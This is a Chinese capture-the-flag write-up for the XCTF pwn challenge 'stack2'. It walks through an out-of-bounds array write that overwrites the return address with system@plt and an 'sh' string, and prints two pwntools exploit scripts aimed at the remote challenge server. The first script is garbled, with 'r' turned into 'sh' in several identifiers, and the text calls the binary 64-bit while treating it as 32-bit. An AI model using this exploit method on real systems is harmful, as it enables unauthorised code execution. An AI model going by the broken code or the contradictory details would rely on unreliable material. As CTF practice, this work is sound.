攻防世界pwn进阶区stack2
首先查保护–>看链接类型–>赋予程序可执行权限–>试运行
64位,小端序
开启部分RELRO---got表仍可写
开启canary保护---栈溢出需绕过canary
开启NX保护----堆栈不可执行
未开启PIE----程序地址为真实地址
动态链接
运行程序,先输入数字总量,之后输入数字,会有一个菜单栏,分别实现对数字展示,添加,改变,取平均值,和退出程序五种功能。
ida看一下主函数
观察主函数,发现一处溢出数组越界漏洞,v5没有限制大小,使得数组v13[]可以越界访问数据并修改其值。
找找其他函数,发现了后门函数
(这个后门函数调用/bin/bash,但是实际运行中远程靶机没有bash,需要改为/bin/sh)
思路
可以通过数组越界逐字节修改栈上返回地址为后门函数地址
现在需要找到数组首地址,要找到数组首地址,首先要找到该数组一开始输入的地方
在这看数组首地址应该是v13的地方吧,
如果这样的话,数组首地址距离返回地址为0x74(0x70+0x4)字节
我们通过程序里的change选项(如下)将返回地址覆盖为(system.plt:0x08048450)及其后面(+0x4)的参数(/bin/sh:0x08048987(/bin/sh的16进制机器码))
exp
from pwn import *
#context.log_level = 'debug'
context(os = 'linux',endian = 'little',log_level = 'debug',ashch = 'i386')
sh = remote('111.200.241.244',64459)
#sh = process("./stack2")
sh.sendlineafter("How many numbeshs you have:\n","1")
sh.sendlineafter("Give me yoush numbeshs\n","1")
def change(addsh, num):
sh.sendlineafter("5. exit\n","3")
sh.sendlineafter("which numbesh to change:\n",str(addsh))
sh.sendlineafter("new numbesh:\n",str(num))
#32位程序,返回地址共4字节,从低字节到高字节逐字节覆盖,system.plt:0x08048450
change(0x74, 0x50) #system.plt:0x08048450
change(0x75, 0x84)
change(0x76, 0x04)
change(0x77, 0x08) #0x87与0x8c差4字节(为system函数调用后的返回地址)
change(0x7c, 0x87) #/bin/sh:0x08048987
change(0x7d, 0x89)
change(0x7e, 0x04)
change(0x7f, 0x08)
sh.sendline("5")
sh.inteshactive()
结果不行,无法获得shell,有可能是数组首地址到返回地址距离找的不对
我们查看一下输入数组数值,这里的汇编代码,更深入分析
用gdb看一下,首先在0x80486D5处断点,运行,之后输入1和2,代表数字总量为1,输入数字为2
之后看到eax存储的地址为0xffffcdf8(数组首地址)
查看一下0xffffcdf8处内存
之后单步汇编运行一下(mov [eax], cl)(命令为ni)
再查看一下内存,cl是单字节,所以运行完汇编命令(mov [eax], cl)后0xffffcdf8地址处末尾字节从58变为02(02即为我们输入的数字2)
说明v13数组首地址就为0xffffcdf8
继续运行,再查找一下返回地址----esp所存地址(0xffffce7c)__libc_start_main即为返回地址
距离 = 返回地址 - 数组首地址 = 0xffffce7c - 0xffffcdf8 = 0x84
我们通过程序里的change选项(如下)将返回地址覆盖为(system.plt:0x08048450)及其后面(+0x4)的参数(/bin/sh:0x08048987(/bin/sh的16进制机器码))
exp
from pwn import *
context(os = 'linux',endian = 'little',log_level = 'debug',arch = 'i386')
sh = remote('111.200.241.244',64459)
#sh = process("./stack2")
sh.sendlineafter("How many numbers you have:\n","1")
sh.sendlineafter("Give me your numbers\n","1")
def change(addr, num):
sh.sendlineafter("5. exit\n","3")
sh.sendlineafter("which number to change:\n",str(addr))
sh.sendlineafter("new number:\n",str(num))
#32位程序,返回地址共4字节,从低字节到高字节逐字节覆盖,system.plt:0x08048450
change(0x84, 0x50) #system.plt:0x08048450
change(0x85, 0x84)
change(0x86, 0x04)
change(0x87, 0x08) #0x87与0x8c差4字节(为system函数调用后的返回地址)
change(0x8c, 0x87) #/bin/sh:0x08048987
change(0x8d, 0x89)
change(0x8e, 0x04)
change(0x8f, 0x08)
sh.sendline("5")
sh.interactive()
运行获得shell